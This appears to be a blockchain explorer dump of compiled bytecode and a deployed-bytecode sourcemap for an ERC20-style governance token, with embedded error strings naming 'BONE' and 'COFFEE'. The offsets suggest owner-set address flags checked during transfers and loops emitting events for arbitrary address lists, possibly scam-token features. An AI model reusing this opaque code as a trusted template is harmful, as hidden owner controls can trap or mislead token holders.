1000a900463ffffffff1663ffffffff16145b156128b65781600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187612890919061339a565b63ffffffff1663ffffffff16815260200190815260200160002060010181905550612a26565b60405180604001604052808263ffffffff16815260200183815250600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff1660018561297591906139c3565b63ffffffff16116129bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b290613a6f565b60405180910390fd5b6001846129c891906139c3565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612a6e929190613a8f565b60405180910390a25050505050565b600064010000000083108290612ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac09190612b6c565b60405180910390fd5b5082905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b0d578082015181840152602081019050612af2565b83811115612b1c576000848401525b50505050565b6000601f19601f8301169050919050565b6000612b3e82612ad3565b612b488185612ade565b9350612b58818560208601612aef565b612b6181612b22565b840191505092915050565b60006020820190508181036000830152612b868184612b33565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bc382612b98565b9050919050565b612bd381612bb8565b8114612bde57600080fd5b50565b600081359050612bf081612bca565b92915050565b6000819050919050565b612c0981612bf6565b8114612c1457600080fd5b50565b600081359050612c2681612c00565b92915050565b60008060408385031215612c4357612c42612b8e565b5b6000612c5185828601612be1565b9250506020612c6285828601612c17565b9150509250929050565b60008115159050919050565b612c8181612c6c565b82525050565b6000602082019050612c9c6000830184612c78565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612cc757612cc6612ca2565b5b8235905067ffffffffffffffff811115612ce457612ce3612ca7565b5b602083019150836020820283011115612d0057612cff612cac565b5b9250929050565b60008060008060608587031215612d2157612d20612b8e565b5b600085013567ffffffffffffffff811115612d3f57612d3e612b93565b5b612d4b87828801612cb1565b94509450506020612d5e87828801612c17565b9250506040612d6f87828801612c17565b91505092959194509250565b612d8481612bf6565b82525050565b6000602082019050612d9f6000830184612d7b565b92915050565b600060208284031215612dbb57612dba612b8e565b5b6000612dc984828501612be1565b91505092915050565b6000819050919050565b612de581612dd2565b82525050565b6000602082019050612e006000830184612ddc565b92915050565b600080600060608486031215612e1f57612e1e612b8e565b5b6000612e2d86828701612be1565b9350506020612e3e86828701612be1565b9250506040612e4f86828701612c17565b9150509250925092565b600060ff82169050919050565b612e6f81612e59565b82525050565b6000602082019050612e8a6000830184612e66565b92915050565b60008060208385031215612ea757612ea6612b8e565b5b600083013567ffffffffffffffff811115612ec557612ec4612b93565b5b612ed185828601612cb1565b92509250509250929050565b612ee681612bb8565b82525050565b6000602082019050612f016000830184612edd565b92915050565b600063ffffffff82169050919050565b612f2081612f07565b82525050565b6000602082019050612f3b6000830184612f17565b92915050565b60008083601f840112612f5757612f56612ca2565b5b8235905067ffffffffffffffff811115612f7457612f73612ca7565b5b602083019150836020820283011115612f9057612f8f612cac565b5b9250929050565b60008060008060008060608789031215612fb457612fb3612b8e565b5b600087013567ffffffffffffffff811115612fd257612fd1612b93565b5b612fde89828a01612cb1565b9650965050602087013567ffffffffffffffff81111561300157613000612b93565b5b61300d89828a01612cb1565b9450945050604087013567ffffffffffffffff8111156130305761302f612b93565b5b61303c89828a01612f41565b92509250509295509295509295565b6000806040838503121561306257613061612b8e565b5b600061307085828601612be1565b925050602061308185828601612be1565b9150509250929050565b61309481612f07565b811461309f57600080fd5b50565b6000813590506130b18161308b565b92915050565b600080604083850312156130ce576130cd612b8e565b5b60006130dc85828601612be1565b92505060206130ed858286016130a2565b9150509250929050565b600060408201905061310c6000830185612f17565b6131196020830184612d7b565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061316757607f821691505b6020821081141561317b5761317a613120565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b60006131df6131da6131d5846131b0565b6131ba565b612bf6565b9050919050565b6131ef816131c4565b82525050565b600060808201905061320a60008301876131e6565b6132176020830186612d7b565b6132246040830185612d7b565b61323160608301846131e6565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061327482612bf6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132a7576132a661323a565b5b600182019050919050565b60006132bd82612bf6565b91506132c883612bf6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132fd576132fc61323a565b5b828201905092915050565b7f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b6000613364602783612ade565b915061336f82613308565b604082019050919050565b6000602082019050818103600083015261339381613357565b9050919050565b60006133a582612f07565b91506133b083612f07565b9250828210156133c3576133c261323a565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061340882612f07565b915061341383612f07565b925082613423576134226133ce565b5b828204905092915050565b60006080820190506134436000830187612d7b565b61345060208301866131e6565b61345d60408301856131e6565b61346a6060830184612d7b565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006134cf602583612ade565b91506134da82613473565b604082019050919050565b600060208201905081810360008301526134fe816134c2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613561602683612ade565b915061356c82613505565b604082019050919050565b6000602082019050818103600083015261359081613554565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135f3602483612ade565b91506135fe82613597565b604082019050919050565b60006020820190508181036000830152613622816135e6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613685602283612ade565b915061369082613629565b604082019050919050565b600060208201905081810360008301526136b481613678565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006136f1602083612ade565b91506136fc826136bb565b602082019050919050565b60006020820190508181036000830152613720816136e4565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061375d601d83612ade565b915061376882613727565b602082019050919050565b6000602082019050818103600083015261378c81613750565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006137ef602583612ade565b91506137fa82613793565b604082019050919050565b6000602082019050818103600083015261381e816137e2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613881602383612ade565b915061388c82613825565b604082019050919050565b600060208201905081810360008301526138b081613874565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613913602683612ade565b915061391e826138b7565b604082019050919050565b6000602082019050818103600083015261394281613906565b9050919050565b50565b6000613959600083612ade565b915061396482613949565b600082019050919050565b600060208201905081810360008301526139888161394c565b9050919050565b600061399a82612bf6565b91506139a583612bf6565b9250828210156139b8576139b761323a565b5b828203905092915050565b60006139ce82612f07565b91506139d983612f07565b92508263ffffffff038211156139f2576139f161323a565b5b828201905092915050565b7f434f464645453a3a5f7772697465436865636b706f696e743a206e657720636860008201527f65636b706f696e74206578636565647320333220626974730000000000000000602082015250565b6000613a59603883612ade565b9150613a64826139fd565b604082019050919050565b60006020820190508181036000830152613a8881613a4c565b9050919050565b6000604082019050613aa46000830185612d7b565b613ab16020830184612d7b565b939250505056fe434f464645453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a2646970667358221220abcb80383744202459cda249f0d69df907c89ee6bb98ceb21d41812c14ae529664736f6c634300080c0033

Deployed Bytecode Sourcemap

37033:6448:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9233:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13916:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11566:343;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12685:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9085:78;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38001:122;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14697:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12505:115;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10195:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15401:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12285:212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38773:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;39034:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;37511:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12856:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12044:233;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6062:103;;;:::i;:::-;;10296:278;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;39569:1212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11266:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38204:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5421:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9452:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10582:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16142:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10881:377;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13189:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;40982:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11917:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13445:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37811:117;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37643:70;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;6320:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9233:100;9287:13;9320:5;9313:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9233:100;:::o;13916:201::-;13999:4;14016:13;14032:12;:10;:12::i;:::-;14016:28;;14055:32;14064:5;14071:7;14080:6;14055:8;:32::i;:::-;14105:4;14098:11;;;13916:201;;;;:::o;11566:343::-;11682:9;11677:225;11701:11;;:18;;11697:1;:22;11677:225;;;11774:11;;11786:1;11774:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11746:43;;11751:4;;;;;;;;;;;11746:43;;;11757:1;11760:3;11765:4;11771:1;11746:43;;;;;;;;;:::i;:::-;;;;;;;;11834:4;;;;;;;;;;;11809:35;;11818:11;;11830:1;11818:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11809:35;;;11840:3;11809:35;;;;;;:::i;:::-;;;;;;;;11879:5;;;;;;;;;;;11864:26;;11873:4;;;;;;;;;;;11864:26;;;11886:3;11864:26;;;;;;:::i;:::-;;;;;;;;11721:3;;;;;:::i;:::-;;;;11677:225;;;;11566:343;;;;:::o;12685:108::-;12746:7;12773:12;;12766:19;;12685:108;:::o;9085:78::-;5307:13;:11;:13::i;:::-;9151:4:::1;9143:5;;:12;;;;;;;;;;;;;;;;;;9085:78:::0;:::o;38001:122::-;38043:80;38001:122;:::o;14697:295::-;14828:4;14845:15;14863:12;:10;:12::i;:::-;14845:30;;14886:38;14902:4;14908:7;14917:6;14886:15;:38::i;:::-;14935:27;14945:4;14951:2;14955:6;14935:9;:27::i;:::-;14980:4;14973:11;;;14697:295;;;;;:::o;12505:115::-;12562:4;12586:15;:26;12602:9;12586:26;;;;;;;;;;;;;;;;;;;;;;;;;12579:33;;12505:115;;;:::o;10195:93::-;10253:5;10278:2;10271:9;;10195:93;:::o;15401:238::-;15489:4;15506:13;15522:12;:10;:12::i;:::-;15506:28;;15545:64;15554:5;15561:7;15598:10;15570:25;15580:5;15587:7;15570:9;:25::i;:::-;:38;;;;:::i;:::-;15545:8;:64::i;:::-;15627:4;15620:11;;;15401:238;;;;:::o;12285:212::-;5307:13;:11;:13::i;:::-;12380:9:::1;12375:115;12399:11;;:18;;12395:1;:22;12375:115;;;12473:5;12439:15;:31;12455:11;;12467:1;12455:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12439:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;12419:3;;;;;:::i;:::-;;;;12375:115;;;;12285:212:::0;;:::o;38773:117::-;38834:7;38861:10;:21;38872:9;38861:21;;;;;;;;;;;;;;;;;;;;;;;;;38854:28;;38773:117;;;:::o;39034:104::-;39098:32;39108:10;39120:9;39098;:32::i;:::-;39034:104;:::o;37511:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;12856:127::-;12930:7;12957:9;:18;12967:7;12957:18;;;;;;;;;;;;;;;;12950:25;;12856:127;;;:::o;12044:233::-;12165:9;12160:110;12184:5;;:12;;12180:1;:16;12160:110;;;12242:3;;12246:1;12242:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12223:35;;12232:5;;12238:1;12232:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12223:35;;;12250:4;;12255:1;12250:7;;;;;;;:::i;:::-;;;;;;;;12223:35;;;;;;:::i;:::-;;;;;;;;12198:3;;;;;:::i;:::-;;;;12160:110;;;;12044:233;;;;;;:::o;6062:103::-;5307:13;:11;:13::i;:::-;6127:30:::1;6154:1;6127:18;:30::i;:::-;6062:103::o:0;10296:278::-;5307:13;:11;:13::i;:::-;10381:9:::1;10376:191;10400:11;;:18;;10396:1;:22;10376:191;;;10474:4;10440:15;:31;10456:11;;10468:1;10456:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10440:31;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;10523:4;;;;;;;;;;;10498:57;;10507:11;;10519:1;10507:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10498:57;;;10529:25;10539:11;;10551:1;10539:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10529:9;:25::i;:::-;10498:57;;;;;;:::i;:::-;;;;;;;;10420:3;;;;;:::i;:::-;;;;10376:191;;;;10296:278:::0;;:::o;39569:1212::-;39650:7;39691:12;39677:11;:26;39669:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;39758:19;39780:14;:23;39795:7;39780:23;;;;;;;;;;;;;;;;;;;;;;;;;39758:45;;39834:1;39818:12;:17;;;39814:58;;;39859:1;39852:8;;;;;39814:58;39982:11;39930;:20;39942:7;39930:20;;;;;;;;;;;;;;;:38;39966:1;39951:12;:16;;;;:::i;:::-;39930:38;;;;;;;;;;;;;;;:48;;;;;;;;;;;;:63;;;39926:147;;40017:11;:20;40029:7;40017:20;;;;;;;;;;;;;;;:38;40053:1;40038:12;:16;;;;:::i;:::-;40017:38;;;;;;;;;;;;;;;:44;;;40010:51;;;;;39926:147;40168:11;40132;:20;40144:7;40132:20;;;;;;;;;;;;;;;:23;40153:1;40132:23;;;;;;;;;;;;;:33;;;;;;;;;;;;:47;;;40128:88;;;40203:1;40196:8;;;;;40128:88;40226:12;40253;40283:1;40268:12;:16;;;;:::i;:::-;40253:31;;40295:428;40310:5;40302:13;;:5;:13;;;40295:428;;;40332:13;40374:1;40365:5;40357;:13;;;;:::i;:::-;40356:19;;;;:::i;:::-;40348:5;:27;;;;:::i;:::-;40332:43;;40417:20;40440:11;:20;40452:7;40440:20;;;;;;;;;;;;;;;:28;40461:6;40440:28;;;;;;;;;;;;;;;40417:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;40503:11;40487:2;:12;;;:27;;;40483:229;;;40542:2;:8;;;40535:15;;;;;;;;;40483:229;40591:11;40576:2;:12;;;:26;;;40572:140;;;40631:6;40623:14;;40572:140;;;40695:1;40686:6;:10;;;;:::i;:::-;40678:18;;40572:140;40317:406;;40295:428;;;40740:11;:20;40752:7;40740:20;;;;;;;;;;;;;;;:27;40761:5;40740:27;;;;;;;;;;;;;;;:33;;;40733:40;;;;;39569:1212;;;;;:::o;11266:292::-;11370:9;11365:186;11389:11;;:18;;11385:1;:22;11365:186;;;11468:11;;11480:1;11468:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11434:49;;11439:10;;;;;;;;;;;11434:49;;;11451:1;11454:3;11459:4;11465:1;11434:49;;;;;;;;;:::i;:::-;;;;;;;;11528:5;;;;;;;;;;;11503:36;;11512:11;;11524:1;11512:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11503:36;;;11535:3;11503:36;;;;;;:::i;:::-;;;;;;;;11409:3;;;;;:::i;:::-;;;;11365:186;;;;11266:292;;;;:::o;38204:39::-;;;;;;;;;;;;;;;;;:::o;5421:87::-;5467:7;5494:6;;;;;;;;;;;5487:13;;5421:87;:::o;9452:104::-;9508:13;9541:7;9534:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9452:104;:::o;10582:291::-;10684:9;10679:187;10703:11;;:18;;10699:1;:22;10679:187;;;10782:11;;10794:1;10782:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10748:49;;10753:10;;;;;;;;;;;10748:49;;;10765:3;10770:1;10773;10776:4;10748:49;;;;;;;;;:::i;:::-;;;;;;;;10833:11;;10845:1;10833:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10817:37;;10826:5;;;;;;;;;;;10817:37;;;10849:4;10817:37;;;;;;:::i;:::-;;;;;;;;10723:3;;;;;:::i;:::-;;;;10679:187;;;;10582:291;;;;:::o;16142:436::-;16235:4;16252:13;16268:12;:10;:12::i;:::-;16252:28;;16291:24;16318:25;16328:5;16335:7;16318:9;:25::i;:::-;16291:52;;16382:15;16362:16;:35;;16354:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;16475:60;16484:5;16491:7;16519:15;16500:16;:34;16475:8;:60::i;:::-;16566:4;16559:11;;;;16142:436;;;;:::o;10881:377::-;11029:9;11024:227;11048:11;;:18;;11044:1;:22;11024:227;;;11121:11;;11133:1;11121:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11093:43;;11098:4;;;;;;;;;;;11093:43;;;11104:3;11109:1;11112;11115:4;11093:43;;;;;;;;;:::i;:::-;;;;;;;;11172:4;;;;;;;;;;;11156:27;;11165:5;;;;;;;;;;;11156:27;;;11178:4;11156:27;;;;;;:::i;:::-;;;;;;;;11218:11;;11230:1;11218:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11203:36;;11212:4;;;;;;;;;;;11203:36;;;11234:4;11203:36;;;;;;:::i;:::-;;;;;;;;11068:3;;;;;:::i;:::-;;;;11024:227;;;;10881:377;;;;:::o;13189:193::-;13268:4;13285:13;13301:12;:10;:12::i;:::-;13285:28;;13324;13334:5;13341:2;13345:6;13324:9;:28::i;:::-;13370:4;13363:11;;;13189:193;;;;:::o;40982:222::-;41047:7;41066:19;41088:14;:23;41103:7;41088:23;;;;;;;;;;;;;;;;;;;;;;;;;41066:45;;41144:1;41129:12;:16;;;:67;;41195:1;41129:67;;;41148:11;:20;41160:7;41148:20;;;;;;;;;;;;;;;:38;41184:1;41169:12;:16;;;;:::i;:::-;41148:38;;;;;;;;;;;;;;;:44;;;41129:67;41122:74;;;40982:222;;;:::o;11917:119::-;12018:3;12002:26;;12011:5;12002:26;;;12023:4;12002:26;;;;;;:::i;:::-;;;;;;;;11917:119;;;:::o;13445:151::-;13534:7;13561:11;:18;13573:5;13561:18;;;;;;;;;;;;;;;:27;13580:7;13561:27;;;;;;;;;;;;;;;;13554:34;;13445:151;;;;:::o;37811:117::-;37857:71;37811:117;:::o;37643:70::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6320:201::-;5307:13;:11;:13::i;:::-;6429:1:::1;6409:22;;:8;:22;;;;6401:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6485:28;6504:8;6485:18;:28::i;:::-;6320:201:::0;:::o;4130:98::-;4183:7;4210:10;4203:17;;4130:98;:::o;20275:380::-;20428:1;20411:19;;:5;:19;;;;20403:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20509:1;20490:21;;:7;:21;;;;20482:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20593:6;20563:11;:18;20575:5;20563:18;;;;;;;;;;;;;;;:27;20582:7;20563:27;;;;;;;;;;;;;;;:36;;;;20631:7;20615:32;;20624:5;20615:32;;;20640:6;20615:32;;;;;;:::i;:::-;;;;;;;;20275:380;;;:::o;5586:132::-;5661:12;:10;:12::i;:::-;5650:23;;:7;:5;:7::i;:::-;:23;;;5642:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5586:132::o;20946:453::-;21081:24;21108:25;21118:5;21125:7;21108:9;:25::i;:::-;21081:52;;21168:17;21148:16;:37;21144:248;;21230:6;21210:16;:26;;21202:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;21314:51;21323:5;21330:7;21358:6;21339:16;:25;21314:8;:51::i;:::-;21144:248;21070:329;20946:453;;;:::o;17048:946::-;17195:1;17179:18;;:4;:18;;;;17171:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17272:1;17258:16;;:2;:16;;;;17250:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;17327:38;17348:4;17354:2;17358:6;17327:20;:38::i;:::-;17378:19;17400:9;:15;17410:4;17400:15;;;;;;;;;;;;;;;;17378:37;;17449:6;17434:11;:21;;17426:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;17566:6;17552:11;:20;17534:9;:15;17544:4;17534:15;;;;;;;;;;;;;;;:38;;;;17769:6;17752:9;:13;17762:2;17752:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;17801:15;:21;17817:4;17801:21;;;;;;;;;;;;;;;;;;;;;;;;;:44;;;;17826:15;:19;17842:2;17826:19;;;;;;;;;;;;;;;;;;;;;;;;;17801:44;17797:93;;;17881:4;17855:30;;:22;;;;;;;;;;;:30;;;17847:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;17797:93;17925:2;17910:26;;17919:4;17910:26;;;17929:6;17910:26;;;;;;:::i;:::-;;;;;;;;17949:37;17969:4;17975:2;17979:6;17949:19;:37::i;:::-;17160:834;17048:946;;;:::o;41212:376::-;41289:23;41315:10;:21;41326:9;41315:21;;;;;;;;;;;;;;;;;;;;;;;;;41289:47;;41347:24;41374:20;41384:9;41374;:20::i;:::-;41347:47;;41430:9;41406:10;:21;41417:9;41406:21;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;41499:9;41455:54;;41482:15;41455:54;;41471:9;41455:54;;;;;;;;;;;;41520:60;41535:15;41552:9;41563:16;41520:14;:60::i;:::-;41278:310;;41212:376;;:::o;6681:191::-;6755:16;6774:6;;;;;;;;;;;6755:25;;6800:8;6791:6;;:17;;;;;;;;;;;;;;;;;;6855:8;6824:40;;6845:8;6824:40;;;;;;;;;;;;6744:128;6681:191;:::o;22731:125::-;;;;:::o;22003:124::-;;;;:::o;42368:941::-;42474:6;42464:16;;:6;:16;;;;:30;;;;;42493:1;42484:6;:10;42464:30;42460:842;;;42533:1;42515:20;;:6;:20;;;42511:382;;42604:16;42623:14;:22;42638:6;42623:22;;;;;;;;;;;;;;;;;;;;;;;;;42604:41;;42664:17;42696:1;42684:9;:13;;;:60;;42743:1;42684:60;;;42700:11;:19;42712:6;42700:19;;;;;;;;;;;;;;;:34;42732:1;42720:9;:13;;;;:::i;:::-;42700:34;;;;;;;;;;;;;;;:40;;;42684:60;42664:80;;42763:17;42795:6;42783:9;:18;;;;:::i;:::-;42763:38;;42820:57;42837:6;42845:9;42856;42867;42820:16;:57::i;:::-;42537:356;;;42511:382;42931:1;42913:20;;:6;:20;;;42909:382;;43002:16;43021:14;:22;43036:6;43021:22;;;;;;;;;;;;;;;;;;;;;;;;;43002:41;;43062:17;43094:1;43082:9;:13;;;:60;;43141:1;43082:60;;;43098:11;:19;43110:6;43098:19;;;;;;;;;;;;;;;:34;43130:1;43118:9;:13;;;;:::i;:::-;43098:34;;;;;;;;;;;;;;;:40;;;43082:60;43062:80;;43161:17;43193:6;43181:9;:18;;;;:::i;:::-;43161:38;;43218:57;43235:6;43243:9;43254;43265;43218:16;:57::i;:::-;42935:356;;;42909:382;42460:842;42368:941;;;:::o;41596:764::-;41718:18;41739:78;41746:12;41739:78;;;;;;;;;;;;;;;;;:6;:78::i;:::-;41718:99;;41849:1;41834:12;:16;;;:85;;;;;41908:11;41854:65;;:11;:22;41866:9;41854:22;;;;;;;;;;;;;;;:40;41892:1;41877:12;:16;;;;:::i;:::-;41854:40;;;;;;;;;;;;;;;:50;;;;;;;;;;;;:65;;;41834:85;41830:454;;;41985:8;41936:11;:22;41948:9;41936:22;;;;;;;;;;;;;;;:40;41974:1;41959:12;:16;;;;:::i;:::-;41936:40;;;;;;;;;;;;;;;:46;;:57;;;;41830:454;;;42065:33;;;;;;;;42076:11;42065:33;;;;;;42089:8;42065:33;;;42026:11;:22;42038:9;42026:22;;;;;;;;;;;;;;;:36;42049:12;42026:36;;;;;;;;;;;;;;;:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42140:12;42121:31;;42136:1;42121:12;:16;;;;:::i;:::-;:31;;;42113:100;;;;;;;;;;;;:::i;:::-;;;;;;;;;42271:1;42256:12;:16;;;;:::i;:::-;42228:14;:25;42243:9;42228:25;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;41830:454;42322:9;42301:51;;;42333:8;42343;42301:51;;;;;;;:::i;:::-;;;;;;;;41707:653;41596:764;;;;:::o;43317:161::-;43392:6;43423:5;43419:1;:9;43430:12;43411:32;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;43468:1;43454:16;;43317:161;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-